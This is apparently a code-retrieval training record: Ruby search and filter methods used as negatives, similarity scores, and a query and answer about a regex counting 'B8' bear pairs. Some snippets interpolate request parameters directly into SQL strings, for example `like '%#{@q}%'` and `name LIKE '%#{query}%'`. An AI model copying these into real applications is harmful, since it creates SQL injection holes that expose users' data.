"def index\n \n #to store cookies, see how many visitors, etc. sessions is a cookie.\n # if session[:count] == nil\n # session[:count] = 0\n # end\n # session[:count] +=1\n # @counter = session[:count]\n\n @purses = Purse.all\n\n sort_attribute = params[:sort]\n order_attribute = params[:sort_order]\n discount_amount = params[:discount]\n category_sort = params[:category_id]\n\n search_term = params[:search_term]\n\n if category_sort \n @purses = Category.find_by(id: category_sort).purses \n end\n\n if discount_amount\n @purses = @purses.where(\"price < ?\", discount_amount)\n end\n \n if sort_attribute && order_attribute\n @purses = @purses.order({sort_attribute => order_attribute}) #this makes it more dynamic, lets you type whatever value i.e, desc or asc into the order_attribute search bar, or any sort_attribute . have to break it apart into the hash rocket syntax, otherwise it won't work, as a symbol\n elsif sort_attribute\n @purses = @purses.order(sort_attribute)\n end\n\n if search_term\n @purses = @purses.where(\"name iLIKE ? OR description iLIKE ?\", \"%#{search_term}%\" , \"%#{search_term}%\" )\n end\n\n end",
"def index\n @search = Order.search do\n # fulltext '\"84CYd601Dh0slEeJ ankur saini\"' do\n # with(:average_rating, 3..5)\n # field_list [:tracker_hash,:system_id]\n fulltext(params[:search])\n facet(:average_rating) do\n row(1.0..2.0) do\n with(:average_rating, 1.0..2.0)\n end\n row(2.0..3.0) do\n with(:average_rating, 2.0..3.0)\n end\n row(3.0..4.0) do\n with(:average_rating, 3.0..4.0)\n end\n row(4.0..5.0) do\n with(:average_rating, 4.0..5.0)\n end\n end\n # fulltext params[:search] do\n # boost_fields :system_id => 2.0\n # boost(2.0) { with(:response, true) }\n # fields(:tracker_hash)\n # fields(:system_id, :tracker_hash => 2.0)\n # query_phrase_slop 1\n # end\n # with(:published_at).less_than(Time.zone.now)\n # facet(:publish_month)\n # with(:publish_month, params[:month]) if params[:month].present?\n # with(:response, false)\n\n end\n # @orders = @search.results\n ids = @search.hits.map(&:primary_key)\n # debugger\n if ids.present?\n @orders = Order.where(:id => ids).order(\"field(id, #{ids.join(',')})\").paginate(page: params[:page], per_page: 4)\n else\n @orders = Order.where(:id => ids).paginate(page: params[:page], per_page: 4)\n end\n end",
"def search(query)\n name_match = PRODUCTS.select do |name, price|\n name[:name].downcase.include?(query[:q])\n end\n\n name_match.select do |product|\n product[:price] >= query[:price_min] && product[:price] <= query[:price_max]\n end\nend",
"def apply_filters(query)\n query\n end",
"def query(collection, q)\n case q\n when String:\n collection.pages.values.find_all do |page|\n page.include? q\n end.sort { |a, b| b.rank <=> a.rank}.map do |page|\n \"[#{page.title}]\\n\\t[#{page.url}]\\n\\t[#{page.snippet}]\"\n end.join(\"\\n\")\n when Array:\n collection.pages.values.find_all do |page|\n page.includes_any? q\n end.sort { |a, b| b.rank <=> a.rank}.map do |page|\n \"[#{page.title}]\\n\\t[#{page.url}]\\n\\t[#{page.snippet}]\"\n end.join(\"\\n\")\n end\nend",
"def find_listings(params, listings_per_page, filter_params, includes)\n Maybe(@current_community.categories.find_by_url_or_id(params[:category])).each do |category|\n filter_params[:categories] = category.own_and_subcategory_ids\n @selected_category = category\n end\n\n filter_params[:search] = params[:q] if params[:q]\n filter_params[:custom_dropdown_field_options] = HomepageController.dropdown_field_options_for_search(params)\n filter_params[:custom_checkbox_field_options] = HomepageController.checkbox_field_options_for_search(params)\n\n filter_params[:price_cents] = filter_range(params[:price_min], params[:price_max])\n\n p = HomepageController.numeric_filter_params(params)\n p = HomepageController.parse_numeric_filter_params(p)\n p = HomepageController.group_to_ranges(p)\n numeric_search_params = HomepageController.filter_unnecessary(p, @current_community.custom_numeric_fields)\n\n filter_params = filter_params.reject {\n |_, value| (value == \"all\" || value == [\"all\"])\n } # all means the filter doesn't need to be included\n\n checkboxes = filter_params[:custom_checkbox_field_options].map { |checkbox_field| checkbox_field.merge(type: :selection_group, operator: :and) }\n dropdowns = filter_params[:custom_dropdown_field_options].map { |dropdown_field| dropdown_field.merge(type: :selection_group, operator: :or) }\n numbers = numeric_search_params.map { |numeric| numeric.merge(type: :numeric_range) }\n\n # wah: restricted marketplace or open marketplace\n availability_for_sphinx = {}\n if @restrictedMarketplace\n availability = [\"trusted\", \"all\"]\n availability_for_sphinx[:availability_restricted_marketplace] = true\n @pooltool_specific_page = true\n\n elsif @marketplace_with_trusted_devs\n availability = [\"intern\", \"trusted\"]\n availability_for_sphinx[:availability_not_intern] = true\n @pooltool_specific_page = true\n else\n availability = [\"all\", nil]\n availability_for_sphinx[:availability_marketplace] = true\n end\n\n search = {\n # Add listing_id\n categories: filter_params[:categories],\n listing_shape_ids: Array(filter_params[:listing_shape]),\n price_cents: filter_params[:price_cents],\n keywords: filter_params[:search],\n fields: checkboxes.concat(dropdowns).concat(numbers),\n per_page: listings_per_page,\n page: Maybe(params)[:page].to_i.map { |n| n > 0 ? n : 1 }.or_else(1),\n price_min: params[:price_min],\n price_max: params[:price_max],\n locale: I18n.locale,\n include_closed: false,\n availability: availability, # wah_new\n }\n\n # wah: Add availability for sphinx search\n search.merge!(availability_for_sphinx)\n\n\n raise_errors = Rails.env.development?\n\n res = ListingIndexService::API::Api.listings.search(\n community_id: @current_community.id,\n search: search,\n includes: includes,\n engine: search_engine,\n raise_errors: raise_errors\n )\n\n # wah: Filter results based on marketplace type\n listings_restrictedMarketplace = []\n if @restrictedMarketplace\n # get all listings which should be shown - at the moment only external listings\n # remove comment from allowed_authors = ... to add also internal listings\n if @current_user # if logged in, then show devices from followers.\n allowed_authors = @current_user.get_company.followers.as_json\n allowed_authors << @current_user.get_company.as_json\n else # show devices from no one...\n allowed_authors = []\n end\n\n allowed_authors.each do |follower|\n res.data[:listings].each do |search_listing|\n if search_listing[:author][:id] == follower[\"id\"]\n listings_restrictedMarketplace << search_listing\n end\n end\n end\n\n res.data[:listings] = listings_restrictedMarketplace\n res.data[:count] = listings_restrictedMarketplace.count\n else\n end\n\n pushBackListingsWithoutImage(res) if res.data\n\n return_ = res.and_then { |res|\n Result::Success.new(\n ListingIndexViewUtils.to_struct(\n result: res,\n includes: includes,\n page: search[:page],\n per_page: search[:per_page]\n ))\n }\n\n # log search as rentog event (but only if there is really a search or filter)\n if filter_params[:custom_dropdown_field_options] != [] ||\n filter_params[:custom_checkbox_field_options] != [] ||\n filter_params[:price_cents] != nil\n\n person_id_ = @current_user.id if @current_user\n visitor_id_ = @visitor.id if @visitor\n ev = RentogEvent.new(person_id: person_id_, visitor_id: visitor_id_, event_name: \"marketplace_search_or_filter\", event_details: filter_params.to_s, event_result: res.data[:count], send_to_admins: false)\n ev.save\n end\n\n return_\n\n end",
"def index\n if params.has_key?(:filters) && (params[:filters].has_key?(:with_category) || params[:filters].has_key?(:with_filter_category)) \n if params[:filters].has_key?(:with_category)\n approved_posts = Category.find(params[:filters][:with_category]).posts.approved\n else\n approved_posts = Category.find(params[:filters][:with_filter_category]).posts.approved\n end\n else \n approved_posts = Post.approved\n end\n if params.has_key?(:sort) && params[:sort] == 'asc'\n approved_posts = approved_posts.asc\n else\n approved_posts = approved_posts.desc\n end\n approved_posts = filtrate(approved_posts)\n @pagy, @posts = pagy(approved_posts)\n @categories = Category.all\n if params[:filters]\n @search_text = params[:filters][:with_text]\n end\n end",
"def query(conditions = [], order = [], limit = 250)\n conditions.select!{ |h| Proc === self.class.searchable[h[:field].to_sym]}\n @conditions = conditions\n @order = Hash[order].reject { |field, dir| field.nil? || !self.class.sortable[field.to_sym] }.\n map{ |field, dir| (dir == 'asc') ? self.class.sortable[field.to_sym].asc : self.class.sortable[field.to_sym].desc }\n @limit = limit\n dataset\n end",
"def getResultsFromSearch(query, type, guts, ppOverride)\n request('getResultsFromSearch', {'query' => query, 'type' => type, 'guts' => guts, 'ppOverride' => ppOverride})\nend",
"def filter\n query = [@terms.join(' AND ')] + @values\n @filtered_rset = @filtered_rset.where(query) unless query.empty?\n\n page(1)\n set_size(@page_size)\n\n self\n end",
"def index\n authorize! :read, Recipe\n @query = params[:query]\n @search_result = Recipe.search do\n fulltext params[:query]\n if params[:course_type_ids].present?\n all_of do\n params[:course_type_ids].each do |filter|\n with(:course_type_ids, filter)\n end\n end\n end\n if params[:exclu_course_type_ids].present?\n all_of do\n params[:exclu_course_type_ids].each do |filter|\n without(:course_type_ids, filter)\n end\n end\n end\n if params[:difficulty].present?\n all_of do\n params[:difficulty].each do |filter|\n with(:difficulty, filter)\n end\n end\n end\n if params[:exclu_difficulty].present?\n all_of do\n params[:exclu_difficulty].each do |filter|\n without(:difficulty, filter)\n end\n end\n end\n if params[:cost].present?\n all_of do\n params[:cost].each do |filter|\n with(:cost, filter)\n end\n end\n end\n if params[:exclu_cost].present?\n all_of do\n params[:exclu_cost].each do |filter|\n without(:cost, filter)\n end\n end\n end\n if params[:category_ids].present?\n all_of do\n params[:category_ids].each do |filter|\n with(:category_ids, filter)\n end\n end\n end\n if params[:exclu_category_ids].present?\n all_of do\n params[:exclu_category_ids].each do |filter|\n without(:category_ids, filter)\n end\n end\n end\n if params[:main_ingredient_ids].present?\n all_of do\n params[:main_ingredient_ids].each do |filter|\n with(:main_ingredient_ids, filter)\n end\n end\n end\n if params[:exclu_main_ingredient_ids].present?\n all_of do\n params[:exclu_main_ingredient_ids].each do |filter|\n without(:main_ingredient_ids, filter)\n end\n end\n end\n if params[:source_ids].present?\n all_of do\n params[:source_ids].each do |filter|\n with(:source_ids, filter)\n end\n end\n end\n if params[:exclu_source_ids].present?\n all_of do\n params[:exclu_source_ids].each do |filter|\n without(:source_ids, filter)\n end\n end\n end\n facet :course_type_ids\n facet :category_ids\n facet :main_ingredient_ids\n facet :source_ids\n facet :difficulty, :sort => :index\n facet :cost, :sort => :index\n paginate :page => params[:page] || 1, :per_page => 10\n order_by(:score, :desc)\n order_by(:created_at, :desc)\n end\n @query_params = params.except( :page )\n \n filters = [\n :course_type_ids, \n :exclu_course_type_ids, \n :difficulty, \n :exclu_difficulty, \n :cost, \n :exclu_cost, \n :category_ids, \n :exclu_category_ids, \n :main_ingredient_ids, \n :exclu_main_ingredient_ids, \n :source_ids, \n :exclu_source_ids\n ]\n filters.each do |filter|\n if params[filter].present?\n params[filter].map!{ |x| x.to_i }\n end\n end\n \n # @search_result.facet(:main_ingredient_ids).rows.sort!{|a,b| (a.count <=> b.count) == 0 ? (a.instance.name <=> b.instance.name) : (a.count <=> b.count)*(-1) }\n # @search_result.facet(:course_type_ids).rows.sort!{|a,b| (a.count <=> b.count) == 0 ? (a.instance.name <=> b.instance.name) : (a.count <=> b.count)*(-1) }\n # @search_result.facet(:category_ids).rows.sort!{|a,b| (a.count <=> b.count) == 0 ? (a.instance.name <=> b.instance.name) : (a.count <=> b.count)*(-1) }\n # @search_result.facet(:source_ids).rows.sort!{|a,b| (a.count <=> b.count) == 0 ? (a.instance.name <=> b.instance.name) : (a.count <=> b.count)*(-1) }\n \n sort_alphabetical(@search_result.facet(:main_ingredient_ids).rows)\n sort_alphabetical(@search_result.facet(:course_type_ids).rows)\n sort_alphabetical(@search_result.facet(:category_ids).rows)\n sort_alphabetical(@search_result.facet(:source_ids).rows)\n end",
"def search_with_filters\n @search_keyword = params[\"search\"]\n @project_id = params[\"project_id\"]\n @developer_id = Developer.find_by_gamer_id(current_gamer.id).id\n @projects = Project.where(owner_id: @developer_id).all\n @country = params[\"country\"]\n @age_from = params[\"age_from\"]\n @age_from = @age_from.to_i if !@age_from.blank?\n @age_to = params[\"age_to\"]\n @age_to = @age_to.to_i if !@age_to.blank?\n @gender = params[\"gender\"]\n @education = params[\"education\"]\n @synonym_type = params[\"synonym_type\"]\n\n if !@age_from.blank? && !@age_to.blank? && @age_from.to_i > @age_to.to_i\n temp = @age_from\n @age_from = @age_to\n @age_to = temp\n end\n\n if @synonym_type == \"0\"\n @synonym_type = nil\n elsif @synonym_type == \"1\"\n @synonym_type = true\n elsif @synonym_type == \"2\"\n @synonym_type = false\n end\n\n if !@search_keyword.blank?\n @search_keyword = @search_keyword.strip\n @search_keyword = @search_keyword.split(\" \").join(\" \")\n\n @search_keyword_model = Keyword.find_by_name(@search_keyword)\n if !@search_keyword_model.blank?\n \n if !current_developer.my_subscription\n .can_search_word(@search_keyword_model.id)\n \n flash[:error] = t(:search_not_allowed)\n redirect_to search_keywords_path, flash: flash\n return\n end\n\n @synonyms, @votes =\n @search_keyword_model.retrieve_synonyms(@country, @age_from, \n @age_to, @gender, @education, @synonym_type)\n\n @no_synonyms_found = true if @synonyms.blank?\n\n @total_votes = 0\n @votes.each { |synonym_id, synonym_votes| @total_votes += synonym_votes }\n\n @categories =\n @search_keyword_model.categories.map { |c| c.get_name_by_locale }\n\n @category_ids = @search_keyword_model.categories.map { |c| c.id }\n\n if !@no_synonyms_found\n @charts = @synonyms.map{ |s| { s.id => \n [piechart_gender(s.id, @gender, @country, @education, @age_from, @age_to), \n piechart_country(s.id, @gender, @country, @education, @age_from, @age_to),\n piechart_age(s.id, @gender, @country, @education, @age_from, @age_to), \n piechart_education(s.id, @gender, @country, @education, @age_from,@age_to)] } }\n end \n\n if request.xhr?\n render \"filtered_results.js\"\n end\n else\n redirect_to search_keywords_path(search: @search_keyword)\n end\n else\n redirect_to search_keywords_path\n end\n end",
"def results\n query = parse\n\n results = []\n positive = query[:positive].to_a\n results << Language.where(name: positive)\n results << Language.where(type: positive)\n results << Language.where(designers: positive)\n\n weights = weight_results results\n\n positive = results.flatten.uniq(&:name).index_by &:name\n\n results = []\n negative = query[:negative].to_a\n\n results << Language.where_not(name: negative).map(&:name)\n results << Language.where_not(type: negative).map(&:name)\n results << Language.where_not(designers: negative).map(&:name)\n\n negative = results.inject(results[0]) {|result, array| result & array }.uniq\n\n final_results = positive.slice(*negative).values\n sort_results set_hits(final_results, weights), weights\n end",
"def index\n if params[:q]\n @q = params[:q].downcase\n @apolices = Apolice.where(\"page IS NULL and lower(nome_segurado) like '%#{@q}%' OR lower(apartamento) like '%#{@q}%'\").page(params[:page]).per(10).order(\"id DESC\")\n else\n @apolices = Apolice.where(\"page IS NULL and (ramo IS NOT NULL and produto IS NOT NULL and apolice IS NOT NULL)\").page(params[:page]).per(10).order(\"id DESC\")\n end\n end",
"def run\n self.prominence!\n return self.send_results if @query.any?\n\n self.fuzzy_match\n self.apply_narrowing_filters\n self.apply_limit\n self.load_and_sort_by_matches\n self.send_results\n end",
"def index\n \tif params[:query]\n \t\tquery = params[:query]\n \t\t@user = User.where( \"name LIKE '%#{query}%'\").where(trainer: true).page(params[:page])\n # sortPrice\n \telse\n \t\t@user = User.all.page(params[:page])\n \tend\n end",
"def search\n if params[:search].present?\n # This is for the elastic search\n #@bid_items = BidItem.search(params[:search])\n\n # Those are Ruby SQL queries\n # This is to search item_name\n #@bid_items = BidItem.where(:item_name => params[:search])\n # This is to search price larger than\n @bid_items = BidItem.where(\"starting_price > ?\", params[:search])\n else\n @bid_items = BidItem.order(\"id DESC\").limit(30)\n end\n end"
] | [
"0.6191119",
"0.60940766",
"0.5944829",
"0.5899895",
"0.58926165",
"0.5891055",
"0.5869359",
"0.5860391",
"0.584236",
"0.5828833",
"0.5803631",
"0.5802028",
"0.577873",
"0.5774776",
"0.5756196",
"0.5751334",
"0.57347697",
"0.5732127",
"0.57236576",
"0.57157004",
"0.5713152",
"0.5702705",
"0.5670719",
"0.56635195",
"0.5661334",
"0.56586885",
"0.56569695",
"0.5649657",
"0.5649199",
"0.56426376",
"0.5634836",
"0.5629897",
"0.56011647",
"0.5594073",
"0.55890036",
"0.5581342",
"0.5580786",
"0.5576535",
"0.5575854",
"0.55750257",
"0.55749893",
"0.55605876",
"0.55561966",
"0.5547782",
"0.55391794",
"0.55381244",
"0.55377066",
"0.55358225",
"0.55328363",
"0.5530507",
"0.5529957",
"0.5522157",
"0.55191696",
"0.5515732",
"0.5515732",
"0.5502055",
"0.5499997",
"0.54993373",
"0.54972494",
"0.5489881",
"0.54878795",
"0.5487106",
"0.5485632",
"0.54835653",
"0.54778063",
"0.5477503",
"0.547744",
"0.5476285",
"0.5474082",
"0.54701656",
"0.5467848",
"0.5458341",
"0.5456306",
"0.54561555",
"0.545516",
"0.5454159",
"0.5454001",
"0.54445344",
"0.5443942",
"0.54410577",
"0.5441013",
"0.5440654",
"0.5435148",
"0.54341364",
"0.5432883",
"0.54324055",
"0.5431747",
"0.5421342",
"0.5419378",
"0.5413335",
"0.541136",
"0.54113543",
"0.54108304",
"0.54102516",
"0.5400751",
"0.539967",
"0.5398269",
"0.5396353",
"0.53963435",
"0.5393349"
] | 0.6474883 | 0 |
=begin Here is a shorter and better version of my solution. As we can see, there we could have made the regex much shorter, there was no need for square brackets. Here the boolean evaluates the size of the pairs array rather than the size of the string divided by 2. =end | def pairs_of_bears(x,s)
pairs = s.scan(/(B8|8B)/)
[pairs.join, pairs.size >= x]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def repeating_pair?(text)\n text.match(/(\\w{2})\\w*\\1/) ? true : false\nend",
"def expand_balanced?(string)\n pairs_unmatched = string.scan(/[\\(\\)\\'\\\"\\{\\}\\[\\]]*/).join\n loop { break if pairs_unmatched.gsub!(/(\\(\\))|(\\[\\])|(\\{\\})|(\\'\\')|(\\\"\\\")/, '').nil? }\n pairs_unmatched.size.zero?\nend",
"def EvenPairs(str)\n str.scan(/d+/).each do |current|\n current.length.times do |i|\n first, second = current[0...i].to_i, current[i..-1].to_i\n return true if first.even? && second.even? && ![first, second].include?(0)\n end\n end\n false\nend",
"def exes_and_ohs(input_string)\n unique_array = input_string.downcase.split('').uniq\n input_array = input_string.downcase.split('')\n if (unique_array.length == 2)\n count_1 = input_array.count(unique_array[0])\n count_2 = input_array.count(unique_array[1])\n if count_1 == count_2\n return true\n else\n return false\n end\n else \n return false\n end\nend",
"def fourth_anagram?(word1, word2)\n letter_count = Hash.new { |hash, key| hash[key] = [] }\n\n split1= word1.chars\n split2 = word2.chars\n\n split1.each { |el| letter_count[el] << el }\n split2.each do |el2|\n if letter_count[el2].length > 0\n letter_count[el2].pop\n else\n return false\n end\n end\n\n return false if letter_count.any? { |key, value| value.count > 0 }\n true\n\nend",
"def isValid(s)\n hash = s.strip.chars.inject(Hash.new(0)) { |total, e| total[e] += 1 ;total}\n puts hash.to_s\n values = hash.values.sort\n if values.count(values[0]) == values.size or\n (values.count(values[0]) == values.size - 1 and values[-1] - values[-2] == 1) or \n (values.count(values[-1]) == values.size - 1 and values[0] == 1)\n \"YES\"\n else\n \"NO\"\n end\n\nend",
"def is_match(s, p)\n m, n = s.length, p.length\n dp = Array.new(m+1) { Array.new(n+1, false) }\n dp[m][n] = true\n m.downto(0) do |i|\n (n-1).downto(0) do |j|\n first = i < m && (s[i] == p[j] || p[j] == '.')\n if p[j+1] == '*'\n dp[i][j] = dp[i][j+2] || (first && dp[i+1][j])\n else\n dp[i][j] = first && dp[i+1][j+1]\n end\n end\n end\n dp[0][0]\nend",
"def is_match(s, p)\n dp = Array.new(s.length+1) { Array.new(p.length+1, false) }\n m, n = s.length, p.length\n dp[m][n] = true\n m.downto(0) do |i|\n (n-1).downto(0) do |j| \n first = i < m && (s[i] == p[j] || p[j] == '.')\n if p[j+1] == '*'\n dp[i][j] = dp[i][j+2] || (first && dp[i+1][j])\n else\n dp[i][j] = first && dp[i+1][j+1]\n end\n end\n end\n dp[0][0]\nend",
"def fourth_anagram?(first_str, second_str)\n first_count = Hash.new(0)\n second_count = Hash.new(0)\n first_str.each_char { |char| first_count[char] += 1 } # n\n second_str.each_char { |char| second_count[char] += 1 } # m\n first_count == second_count\n\n\n\n\n# O(n)\n anagram = true\n count = Hash.new(0)\n first_str.each_char { |char| count[\"first_#{char}\"] += 1 }\n second_str.each_char { |char| count[\"second_#{char}\"] += 1 }\n first_str.each_char do |char|\n anagram = false unless count[\"first_#{char}\"] == count[\"second_#{char}\"]\n end\n anagram\nend",
"def triplet_true?(str)\n hash = Hash.new { |h, k| h[k] = 0 }\n str.chars { |char| hash[char] += 1 }\n hash.any? { |k, v| v > 2 }\nend",
"def g_happy(string) # if all g's are next to g's, return true\n return string.scan(/gg/).length == string.scan(/g./).length\nend",
"def triplet_true(str)\n (0...str.length-2).any? { |i| str[i] == str[i+1] && str[i] == str[i+2] }\nend",
"def nicer_strings(input)\n strings = input.split(\"\\n\").map(&:strip)\n nice_count = 0\n strings.each do |string|\n match = match?(string)\n triplets = triplets?(string)\n nice_count += 1 if match && triplets\n end\n nice_count\nend",
"def pair_not_overlapping?\n !(self.match(/([a-z][a-z]).*\\1/)).nil?\n end",
"def probable_matching(ingredient_long_name,item)\n return (item.downcase.split(\" \") & ingredient_long_name.split(\" \")).size >= 2\nend",
"def triplet_true(string)\n (0...string.length - 2).each do |i|\n return true if string[i] == string[i + 1] && string[i + 1] == string[i + 2]\n end\n false\nend",
"def valid?(password)\n # Does not contain i o l\n return false if password =~ /i|o|l/\n\n # Finds a straight\n return false unless password\n .split('')\n .each_cons(3)\n .find {|a| a[1] == a[0].next && a[2] == a[1].next }\n\n # Contains two different overlapping pairs\n return false unless password\n .split('')\n .slice_when{|i,j| i!=j}\n .select{|a| a.size == 2}\n .uniq\n .count >= 2\n return true\nend",
"def part_two(pass)\n triples = pass.scan(/(.)\\1\\1/)\n doubles = pass.scan(/(.)\\1/)\n triples.empty? ||\n (triples.any? && (doubles - triples).any? && (triples - doubles).empty?)\nend",
"def nested(s, i = 0)\n string = s.split(\"()\")\n return false if s.length.odd?\n return true if s.empty? \n \n return true if s.length.even? && string[i].length == string[i+1].length\n return false if s.length.even? && string[i].length != string[i+1].length\nend",
"def test_String_010_compare_strings_in_arrays\n \n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_String_010_compare_strings_in_arrays\")\n puts2(\"#######################\")\n \n sString = \"Some strings are identical, and some strings are not identical\"\n sString.scan(/(^|\\s)(\\S+)(?=\\s.*?\\2)/) { puts2 $2 }\n \n \n puts2(\"\\nTesting Compare strings...\")\n aFirstArray = [\"the\", \"end\", \"the end\", \"stop\"]\n aSecondArray = [\"The end\", \"end\", \"start\", \"the\", \"Stop\"]\n puts2(\"Compare first array:\")\n puts2(aFirstArray.to_s)\n puts2(\"\\nWith second array:\")\n puts2(aSecondArray.to_s)\n aFound = compare_strings_in_arrays(aFirstArray, aSecondArray)\n puts2(\"Exact Matches Found: \"+ aFound[0].to_s)\n puts2(\" Matching text: \"+ aFound[1].to_s)\n \n puts2(\"\\nTesting Compare strings Ignore case...\")\n aFirstArray = [\"the\", \"end\", \"the end\", \"stop\"]\n aSecondArray = [\"The end\", \"end\", \"start\", \"the\", \"Stop\"]\n puts2(\"Compare first array:\")\n puts2(aFirstArray.to_s)\n puts2(\"\\nWith second array:\")\n puts2(aSecondArray.to_s)\n aFound = compare_strings_in_arrays(aFirstArray, aSecondArray, true)\n puts2(\"Exact Matches Found: \"+ aFound[0].to_s)\n puts2(\" Matching text: \"+ aFound[1].to_s)\n \n puts2(\"\\nTesting Compare Regexp (Ignore case)...\")\n aFirstArray = [\"the\", \"end\", \"the end\", \"stop\"]\n aSecondArray = [\"The end\", \"end\", \"start\", \"the\", \"Stop\"]\n puts2(\"Compare first array:\")\n puts2(aFirstArray.to_s)\n puts2(\"\\nWith second array:\")\n puts2(aSecondArray.to_s)\n aFound = compare_strings_in_arrays(aFirstArray, aSecondArray, true, true)\n puts2(\"Close Matches Found: \"+ aFound[0].to_s)\n puts2(\" Matching text: \"+ aFound[1].to_s)\n \n end",
"def isogram_matcher(isogram1, isogram2)\n #number of letters matched @ same position\n #iterate through the string, if element in isogram1 == element in isogram 2, increase letter match\n #number of leters matched\n #chars isogram1 and iterate through array\n #if element in isogram1 is in isogram2, increase count\n # return letters matched at same position and numbers matched in array\n\n idx_match = 0\n letter_match = 0\n\n isogram1.chars.each_with_index do |letter, idx|\n if letter == isogram2[idx]\n idx_match += 1\n elsif isogram2.include?(letter)\n letter_match += 1\n end\n end\n\n [idx_match, letter_match]\n\nend",
"def matches(str)\n groups = str.each_char.to_a.group_by{ |c| c }\n groups.values.group_by{ |arr| arr.size }\nend",
"def even_splitters(string)\n ans = []\n letters_used = {}\n string.split('').each do |letter|\n next if letters_used[letter]\n letters_used[letter] = 1\n\n spl = string.split(letter)\n\n # counts length of each split_unit, excluding empty strings\n counts = spl.map(&:length).select{|count| count > 0}\n\n first_count = counts[0]\n good_letter = true\n counts.each do |count|\n if count != first_count\n good_letter = false\n break\n end\n end\n ans << letter if good_letter\n end\n ans\nend",
"def balanced(string)\n array = string.split(\"\")\n i = 0 \n j = -1\n until i = array.length / 2\n return false if i != j \n i += 1\n j -+ 1 \n end\n\n return true\n\nend",
"def is_match(s, p)\n m, n = s.length, p.length\n dp = Array.new(m + 1) { Array.new(n + 1, false) }\n dp[0][0] = true\n\n 1.upto(n) do |j|\n dp[0][j] = dp[0][j - 1] if p[j - 1] == '*'\n end\n\n 1.upto(m) do |i|\n 1.upto(n) do |j|\n dp[i][j] = dp[i - 1][j - 1] if p[j - 1] == s[i - 1] || p[j - 1] == '?'\n dp[i][j] = dp[i - 1][j] || dp[i][j - 1] if p[j - 1] == '*'\n end\n end\n\n dp[m][n]\nend",
"def pairs(str)\n hash = Hash.new(0)\n\n 0.upto(str.length - 1) do |i|\n (i).upto(str.length - 1) do |j|\n sub_str = str[i..j].split(\"\").sort.join(\"\")\n hash[sub_str] += 1\n end\n end\n\n #hash = hash.keep_if { |k, v| v > 1}\n total = 0\n\n hash.values.reduce(0) { |sum, v| sum + (v * (v - 1)/2)}\nend",
"def count_smileys(arr)\n arr.map { |i| i.scan /[;:][-*~]?[D)]/ }.flatten.size\nend",
"def is_valid(s)\n char_frequency = {}\n s.split('').each do |char|\n if char_frequency.key?(char)\n char_frequency[char] = char_frequency[char] += 1\n else\n char_frequency[char] = 1\n end\n end\n\n frequency = char_frequency.values\n \n if frequency.uniq.size == 1\n 'YES'\n elsif frequency.uniq.size == 2\n occurances = {}\n frequency.each do |f|\n if occurances.key?(f)\n occurances[f] = occurances[f] += 1\n else\n occurances[f] = 1\n end\n end\n if occurances.keys.count > 2\n 'NO'\n else\n if occurances.select{|k,v| k == 1 && v == 1}.size == 1\n 'YES'\n elsif occurances.values.include?(1) && (occurances.keys.max - occurances.keys.min) == 1\n 'YES'\n else\n 'NO'\n end\n end\n else\n 'NO'\n end\nend",
"def palin_per(string)\n hist={}\n \n for i in 0..string.length-1\n unless string[i]==\" \"\n hist[string[i]]||=0\n hist[string[i]]+=1\n end \n end \n\nodd_appear=1\n hist.values.each do |value|\n odd_appear-=1 if (value % 2 !=0)\n return false if odd_appear <0\n end \n return true\nend",
"def part1 groups\n return groups.map { | g |\n g.gsub(/[^a-z]/,\"\").chars.uniq.length\n }.reduce(0){ |m,v|\n m+v\n }\nend",
"def fourth_anagramv2?(str1, str2)\n hash_1 = Hash.new(0)\n\n str1.chars.each { |char| hash_1[char] += 1 }\n str2.chars.each { |char| hash_1[char] -= 1 }\n\n hash_1.values.all?{ |count| count == 0}\nend",
"def even_splitters(string)\n \n results = []\n letters = string.split(\"\")\n unique = letters.uniq #duplicate?\n \n i = 0\n while i < unique.length #CAN ONLY SPLIT STRING\n split_words = string.split(unique[i])\n split_words.delete(\"\")\n first = split_words[0]\n if split_words.all?{|el| el.length == first.length}\n results << unique[i]\n end\n i += 1\n end\n \n results \n #get letters we can split on by getting unique elements\n \n # split with each char, delete \"\" empty strings, get length of first element\n # check if all elements have the same string length\n # if so push char to results\n\n\nend",
"def triplet_true?(str)\n str.each_char.with_index { |char, i| return true if char * 3 == str[i...i+3] }\n false\nend",
"def nice_b?(string)\n doubledouble = false\n xyx = false\n\n pairs = Set.new\n i = 1\n while doubledouble == false && i <= string.length\n pair = \"#{string[i - 1]}#{string[i]}\"\n doubledouble = pairs.include?(pair) unless doubledouble == true\n pairs.add(pair)\n\n i += 1 if string[i] == string[i - 1] && string[i] == string[i + 1]\n i += 1\n end\n\n for idx in (1..string.length)\n curr_char = string[idx - 1]\n thrd_char = string[idx + 1]\n\n xyx ||= (curr_char == thrd_char)\n\n end\n doubledouble && xyx\nend",
"def is_match_c(s, p, i = 0, j = 0, memo = {})\n return i == s.length if j == p.length\n return memo[[i,j]] if memo.has_key?([i,j])\n first = i < s.length && [s[i], '.'].include?(p[j])\n if p[j+1] == '*'\n is_match_c(s, p, i, j+2, memo) || (first && is_match_c(s, p, i+1, j, memo))\n else\n first && is_match_c(s, p, i+1, j+1, memo)\n end\nend",
"def fourth_anagram(first_word, second_word)\n hash1 = Hash.new {|h, k| h[k] = []}\n first_word.each_char do |char|\n hash1[char] << char\n end\n second_word.each_char do |char|\n hash1[char] << char\n end\n hash1.values.all? {|ele| ele.length.even?}\nend",
"def is_isogram(s)\narr = [ ]\nb = \"a\"..\"z\"\nb.map do |x| p arr << s.downcase.split(\"\").count(x)\nend\narr.include?(2) || arr.include?(3) ? false : true\nend",
"def count_substrings(s)\n size = s.size\n count = 0\n\n # the matrix represents substrings from one idx to another\n # we use the length of the string to determine the size\n # we start with all false values and update it to true when the substring is a palindrome\n\n dp = Array.new(size) { Array.new(size, false) }\n\n # substrings of one char are all palindromes\n\n (0...size).each do |idx|\n dp[idx][idx] = true\n count += 1\n end\n\n # check substrings of two chars\n # only if the 2 chars as the same will it be a palindrome\n\n (1...(size - 1)).each do |idx|\n if s[idx] == s[idx + 1]\n dp[idx][idx + 1] = true\n count += 1\n end\n end\n\n p dp\n\n # check longer substrings\n\n # this first loop represents the length of the substring, from 3 up to the total size of the original string\n\n (3..size).each do |length|\n # then we iterate according to index\n (0...(size - length)).each do |idx1|\n idx2 = (idx1 + length) - 1\n if dp[idx1 + 1][idx2 - 1] && (s[idx1] == s[idx2])\n dp[idx1][idx2] = true\n count += 1\n binding.pry\n end\n end\n end\n\n count\nend",
